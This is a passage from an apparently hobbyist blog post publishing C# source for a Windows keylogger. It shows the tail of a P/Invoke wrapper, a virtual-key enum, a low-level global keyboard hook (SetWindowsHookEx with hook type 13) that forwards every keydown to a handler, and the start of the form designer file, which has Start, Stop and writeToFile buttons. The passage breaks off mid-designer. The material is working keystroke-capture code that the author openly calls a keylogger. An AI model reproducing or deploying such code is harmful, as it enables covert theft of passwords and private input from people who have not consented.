            <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;kernel32.dll&quot;</span>, CharSet <span style="color: #008000;">=</span> CharSet.<span style="color: #0600FF;">Auto</span>, SetLastError <span style="color: #008000;">=</span> <span style="color: #0600FF;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> IntPtr GetModuleHandle<span style="color: #000000;">&#40;</span>
                <span style="color: #FF0000;">string</span> lpModuleName<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">enum</span> VK
        <span style="color: #000000;">&#123;</span>
            <span style="color: #008080; font-style: italic;">//Keycodes recieved from this website:</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">//http://delphi.about.com/od/objectpascalide/l/blvkc.htm</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">//I've commented out the keys that I've never heard of--feel free to uncomment them if you wish</span>
&nbsp;
            VK_LBUTTON <span style="color: #008000;">=</span> 0X01, <span style="color: #008080; font-style: italic;">//Left mouse</span>
            VK_RBUTTON <span style="color: #008000;">=</span> 0X02, <span style="color: #008080; font-style: italic;">//Right mouse</span>
            <span style="color: #008080; font-style: italic;">//VK_CANCEL       = 0X03,</span>
            VK_MBUTTON <span style="color: #008000;">=</span> 0X04,
            VK_BACK <span style="color: #008000;">=</span> 0X08, <span style="color: #008080; font-style: italic;">//Backspace</span>
            VK_TAB <span style="color: #008000;">=</span> 0X09,
            <span style="color: #008080; font-style: italic;">//VK_CLEAR        = 0X0C,</span>
            VK_RETURN <span style="color: #008000;">=</span> 0X0D, <span style="color: #008080; font-style: italic;">//Enter</span>
            VK_SHIFT <span style="color: #008000;">=</span> 0X10,
            VK_CONTROL <span style="color: #008000;">=</span> 0X11, <span style="color: #008080; font-style: italic;">//CTRL</span>
            <span style="color: #008080; font-style: italic;">//VK_MENU         = 0X12,</span>
            VK_PAUSE <span style="color: #008000;">=</span> 0X13,
            VK_CAPITAL <span style="color: #008000;">=</span> 0X14, <span style="color: #008080; font-style: italic;">//Caps-Lock</span>
            VK_ESCAPE <span style="color: #008000;">=</span> 0X1B,
            VK_SPACE <span style="color: #008000;">=</span> 0X20,
            VK_PRIOR <span style="color: #008000;">=</span> 0X21, <span style="color: #008080; font-style: italic;">//Page-Up</span>
            VK_NEXT <span style="color: #008000;">=</span> 0X22, <span style="color: #008080; font-style: italic;">//Page-Down</span>
            VK_END <span style="color: #008000;">=</span> 0X23,
            VK_HOME <span style="color: #008000;">=</span> 0X24,
            VK_LEFT <span style="color: #008000;">=</span> 0X25,
            VK_UP <span style="color: #008000;">=</span> 0X26,
            VK_RIGHT <span style="color: #008000;">=</span> 0X27,
            VK_DOWN <span style="color: #008000;">=</span> 0X28,
            <span style="color: #008080; font-style: italic;">//VK_SELECT       = 0X29,</span>
            <span style="color: #008080; font-style: italic;">//VK_PRINT        = 0X2A,</span>
            <span style="color: #008080; font-style: italic;">//VK_EXECUTE      = 0X2B,</span>
            VK_SNAPSHOT <span style="color: #008000;">=</span> 0X2C, <span style="color: #008080; font-style: italic;">//Print Screen</span>
            VK_INSERT <span style="color: #008000;">=</span> 0X2D,
            VK_DELETE <span style="color: #008000;">=</span> 0X2E,
            <span style="color: #008080; font-style: italic;">//VK_HELP         = 0X2F,</span>
&nbsp;
            VK_0 <span style="color: #008000;">=</span> 0X30,
            VK_1 <span style="color: #008000;">=</span> 0X31,
            VK_2 <span style="color: #008000;">=</span> 0X32,
            VK_3 <span style="color: #008000;">=</span> 0X33,
            VK_4 <span style="color: #008000;">=</span> 0X34,
            VK_5 <span style="color: #008000;">=</span> 0X35,
            VK_6 <span style="color: #008000;">=</span> 0X36,
            VK_7 <span style="color: #008000;">=</span> 0X37,
            VK_8 <span style="color: #008000;">=</span> 0X38,
            VK_9 <span style="color: #008000;">=</span> 0X39,
&nbsp;
            VK_A <span style="color: #008000;">=</span> 0X41,
            VK_B <span style="color: #008000;">=</span> 0X42,
            VK_C <span style="color: #008000;">=</span> 0X43,
            VK_D <span style="color: #008000;">=</span> 0X44,
            VK_E <span style="color: #008000;">=</span> 0X45,
            VK_F <span style="color: #008000;">=</span> 0X46,
            VK_G <span style="color: #008000;">=</span> 0X47,
            VK_H <span style="color: #008000;">=</span> 0X48,
            VK_I <span style="color: #008000;">=</span> 0X49,
            VK_J <span style="color: #008000;">=</span> 0X4A,
            VK_K <span style="color: #008000;">=</span> 0X4B,
            VK_L <span style="color: #008000;">=</span> 0X4C,
            VK_M <span style="color: #008000;">=</span> 0X4D,
            VK_N <span style="color: #008000;">=</span> 0X4E,
            VK_O <span style="color: #008000;">=</span> 0X4F,
            VK_P <span style="color: #008000;">=</span> 0X50,
            VK_Q <span style="color: #008000;">=</span> 0X51,
            VK_R <span style="color: #008000;">=</span> 0X52,
            VK_S <span style="color: #008000;">=</span> 0X53,
            VK_T <span style="color: #008000;">=</span> 0X54,
            VK_U <span style="color: #008000;">=</span> 0X55,
            VK_V <span style="color: #008000;">=</span> 0X56,
            VK_W <span style="color: #008000;">=</span> 0X57,
            VK_X <span style="color: #008000;">=</span> 0X58,
            VK_Y <span style="color: #008000;">=</span> 0X59,
            VK_Z <span style="color: #008000;">=</span> 0X5A,
&nbsp;
            VK_NUMPAD0 <span style="color: #008000;">=</span> 0X60,
            VK_NUMPAD1 <span style="color: #008000;">=</span> 0X61,
            VK_NUMPAD2 <span style="color: #008000;">=</span> 0X62,
            VK_NUMPAD3 <span style="color: #008000;">=</span> 0X63,
            VK_NUMPAD4 <span style="color: #008000;">=</span> 0X64,
            VK_NUMPAD5 <span style="color: #008000;">=</span> 0X65,
            VK_NUMPAD6 <span style="color: #008000;">=</span> 0X66,
            VK_NUMPAD7 <span style="color: #008000;">=</span> 0X67,
            VK_NUMPAD8 <span style="color: #008000;">=</span> 0X68,
            VK_NUMPAD9 <span style="color: #008000;">=</span> 0X69,
&nbsp;
            VK_SEPERATOR <span style="color: #008000;">=</span> 0X6C, <span style="color: #008080; font-style: italic;">// | (shift + backslash)</span>
            VK_SUBTRACT <span style="color: #008000;">=</span> 0X6D, <span style="color: #008080; font-style: italic;">// -</span>
            VK_DECIMAL <span style="color: #008000;">=</span> 0X6E, <span style="color: #008080; font-style: italic;">// .</span>
            VK_DIVIDE <span style="color: #008000;">=</span> 0X6F, <span style="color: #008080; font-style: italic;">// /</span>
&nbsp;
            VK_F1 <span style="color: #008000;">=</span> 0X70,
            VK_F2 <span style="color: #008000;">=</span> 0X71,
            VK_F3 <span style="color: #008000;">=</span> 0X72,
            VK_F4 <span style="color: #008000;">=</span> 0X73,
            VK_F5 <span style="color: #008000;">=</span> 0X74,
            VK_F6 <span style="color: #008000;">=</span> 0X75,
            VK_F7 <span style="color: #008000;">=</span> 0X76,
            VK_F8 <span style="color: #008000;">=</span> 0X77,
            VK_F9 <span style="color: #008000;">=</span> 0X78,
            VK_F10 <span style="color: #008000;">=</span> 0X79,
            VK_F11 <span style="color: #008000;">=</span> 0X7A,
            VK_F12 <span style="color: #008000;">=</span> 0X7B, <span style="color: #008080; font-style: italic;">//I only went up to F12, because honestly, who the hell has 24 F buttons?</span>
            <span style="color: #008080; font-style: italic;">//and for the 8 people in the world who do, I think they can live without using them</span>
&nbsp;
            VK_NUMLOCK <span style="color: #008000;">=</span> 0X90,
            VK_SCROLL <span style="color: #008000;">=</span> 0X91, <span style="color: #008080; font-style: italic;">//Scroll-Lock</span>
            VK_LSHIFT <span style="color: #008000;">=</span> 0XA0,
            VK_RSHIFT <span style="color: #008000;">=</span> 0XA1,
            VK_LCONTROL <span style="color: #008000;">=</span> 0XA2,
            VK_RCONTROL <span style="color: #008000;">=</span> 0XA3,
            <span style="color: #008080; font-style: italic;">//VK_LMENU        = 0XA4,</span>
            <span style="color: #008080; font-style: italic;">//VK_RMENU        = 0XA5,</span>
            <span style="color: #008080; font-style: italic;">//VK_PLAY         = 0XFA,</span>
            <span style="color: #008080; font-style: italic;">//VK_ZOOM         = 0XFB</span>
        <span style="color: #000000;">&#125;</span> <span style="color: #008080; font-style: italic;">//keycodes</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">delegate</span> IntPtr HookDel<span style="color: #000000;">&#40;</span>
            <span style="color: #FF0000;">int</span> nCode,
            IntPtr wParam,
            IntPtr lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">delegate</span> <span style="color: #0600FF;">void</span> KeyHandler<span style="color: #000000;">&#40;</span>
            IntPtr wParam,
            IntPtr lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> IntPtr hhk <span style="color: #008000;">=</span> IntPtr.<span style="color: #0000FF;">Zero</span><span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> HookDel hd<span style="color: #008000;">;</span>
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> KeyHandler kh<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">void</span> CreateHook<span style="color: #000000;">&#40;</span>KeyHandler _kh<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            Process _this <span style="color: #008000;">=</span> Process.<span style="color: #0000FF;">GetCurrentProcess</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            ProcessModule mod <span style="color: #008000;">=</span> _this.<span style="color: #0000FF;">MainModule</span><span style="color: #008000;">;</span>
            hd <span style="color: #008000;">=</span> HookFunc<span style="color: #008000;">;</span>
            kh <span style="color: #008000;">=</span> _kh<span style="color: #008000;">;</span>
&nbsp;
            hhk <span style="color: #008000;">=</span> API.<span style="color: #0000FF;">SetWindowsHookEx</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">13</span>, hd, API.<span style="color: #0000FF;">GetModuleHandle</span><span style="color: #000000;">&#40;</span>mod.<span style="color: #0000FF;">ModuleName</span><span style="color: #000000;">&#41;</span>, <span style="color: #FF0000;">0</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//13 is the parameter specifying that we're gonna do a low-level keyboard hook</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">//MessageBox.Show(Marshal.GetLastWin32Error().ToString()); //for debugging</span>
            <span style="color: #008080; font-style: italic;">//Note that this could be a Console.WriteLine(), as well. I just happened</span>
            <span style="color: #008080; font-style: italic;">//to be debugging this in a Windows Application</span>
            <span style="color: #008080; font-style: italic;">//to get the errors, in VS 2005+ (possibly before) do Tools -&amp;gt; Error Lookup</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">bool</span> DestroyHook<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #008080; font-style: italic;">//to be called when we're done with the hook</span>
&nbsp;
            <span style="color: #0600FF;">return</span> API.<span style="color: #0000FF;">UnhookWindowsHookEx</span><span style="color: #000000;">&#40;</span>hhk<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> IntPtr HookFunc<span style="color: #000000;">&#40;</span>
            <span style="color: #FF0000;">int</span> nCode,
            IntPtr wParam,
            IntPtr lParam<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #FF0000;">int</span> iwParam <span style="color: #008000;">=</span> wParam.<span style="color: #0000FF;">ToInt32</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>nCode <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;=</span> <span style="color: #FF0000;">0</span> <span style="color: #008000;">&amp;</span>amp<span style="color: #008000;">;&amp;</span>amp<span style="color: #008000;">;</span>
                <span style="color: #000000;">&#40;</span>iwParam <span style="color: #008000;">==</span> 0x100 <span style="color: #008000;">||</span>
                iwParam <span style="color: #008000;">==</span> 0x104<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span> <span style="color: #008080; font-style: italic;">//0x100 = WM_KEYDOWN, 0x104 = WM_SYSKEYDOWN</span>
                kh<span style="color: #000000;">&#40;</span>wParam, lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">return</span> API.<span style="color: #0000FF;">CallNextHookEx</span><span style="color: #000000;">&#40;</span>hhk, nCode, wParam, lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>Next file is designer for form I used for keylogger. <strong>Form1.Designer.cs</strong></p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #0600FF;">namespace</span> KeyHookSucks
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">partial</span> <span style="color: #FF0000;">class</span> Form1
    <span style="color: #000000;">&#123;</span>
        <span style="color: #008080; font-style: italic;">/// </span>
        <span style="color: #008080; font-style: italic;">/// Required designer variable.</span>
        <span style="color: #008080; font-style: italic;">/// </span>
        <span style="color: #0600FF;">private</span> <span style="color: #000000;">System.<span style="color: #0000FF;">ComponentModel</span></span>.<span style="color: #0000FF;">IContainer</span> components <span style="color: #008000;">=</span> null<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">/// </span>
        <span style="color: #008080; font-style: italic;">/// Clean up any resources being used.</span>
        <span style="color: #008080; font-style: italic;">/// </span>
        <span style="color: #008080; font-style: italic;">///</span>
<span style="color: #0600FF;">true</span> <span style="color: #0600FF;">if</span> managed resources should be disposed<span style="color: #008000;">;</span> otherwise, <span style="color: #0600FF;">false</span>.
        <span style="color: #0600FF;">protected</span> <span style="color: #0600FF;">override</span> <span style="color: #0600FF;">void</span> Dispose<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">bool</span> disposing<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>disposing <span style="color: #008000;">&amp;</span>amp<span style="color: #008000;">;&amp;</span>amp<span style="color: #008000;">;</span> <span style="color: #000000;">&#40;</span>components <span style="color: #008000;">!=</span> <span style="color: #0600FF;">null</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
                components.<span style="color: #0000FF;">Dispose</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #000000;">&#125;</span>
            <span style="color: #0600FF;">base</span>.<span style="color: #0000FF;">Dispose</span><span style="color: #000000;">&#40;</span>disposing<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#region Windows Form Designer generated code</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">/// </span>
        <span style="color: #008080; font-style: italic;">/// Required method for Designer support - do not modify</span>
        <span style="color: #008080; font-style: italic;">/// the contents of this method with the code editor.</span>
        <span style="color: #008080; font-style: italic;">/// </span>
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> InitializeComponent<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox1</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">TextBox</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label1</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Label</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button4</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label2</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Label</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox2</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">TextBox</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button5</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox3</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">TextBox</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button6</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Windows</span>.<span style="color: #0000FF;">Forms</span>.<span style="color: #0000FF;">Button</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">SuspendLayout</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// button1</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">12</span>, <span style="color: #FF0000;">12</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;button1&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">75</span>, <span style="color: #FF0000;">23</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">0</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span>.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Start&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span>.<span style="color: #0000FF;">UseVisualStyleBackColor</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1</span>.<span style="color: #0000FF;">Click</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">EventHandler</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button1_Click</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// button2</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span>.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">12</span>, <span style="color: #FF0000;">41</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;button2&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">75</span>, <span style="color: #FF0000;">23</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">1</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span>.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;Stop&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span>.<span style="color: #0000FF;">UseVisualStyleBackColor</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2</span>.<span style="color: #0000FF;">Click</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">EventHandler</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button2_Click</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// button3</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span>.<span style="color: #0000FF;">Enabled</span> <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">218</span>, <span style="color: #FF0000;">12</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;button3&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">75</span>, <span style="color: #FF0000;">23</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">2</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span>.<span style="color: #0000FF;">Text</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;writeToFile&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span>.<span style="color: #0000FF;">UseVisualStyleBackColor</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3</span>.<span style="color: #0000FF;">Click</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">EventHandler</span><span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">button3_Click</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// textBox1</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox1</span>.<span style="color: #0000FF;">Location</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Point</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">12</span>, <span style="color: #FF0000;">98</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox1</span>.<span style="color: #0000FF;">Name</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;textBox1&quot;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox1</span>.<span style="color: #0000FF;">Size</span> <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #000000;">System.<span style="color: #0000FF;">Drawing</span></span>.<span style="color: #0000FF;">Size</span><span style="color: #000000;">&#40;</span><span style="color: #FF0000;">100</span>, <span style="color: #FF0000;">20</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">textBox1</span>.<span style="color: #0000FF;">TabIndex</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">3</span><span style="color: #008000;">;</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #008080; font-style: italic;">// label1</span>
            <span style="color: #008080; font-style: italic;">//</span>
            <span style="color: #0600FF;">this</span>.<span style="color: #0000FF;">label1</span>.<span style="color: #0000FF;">AutoSize</span> <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span>
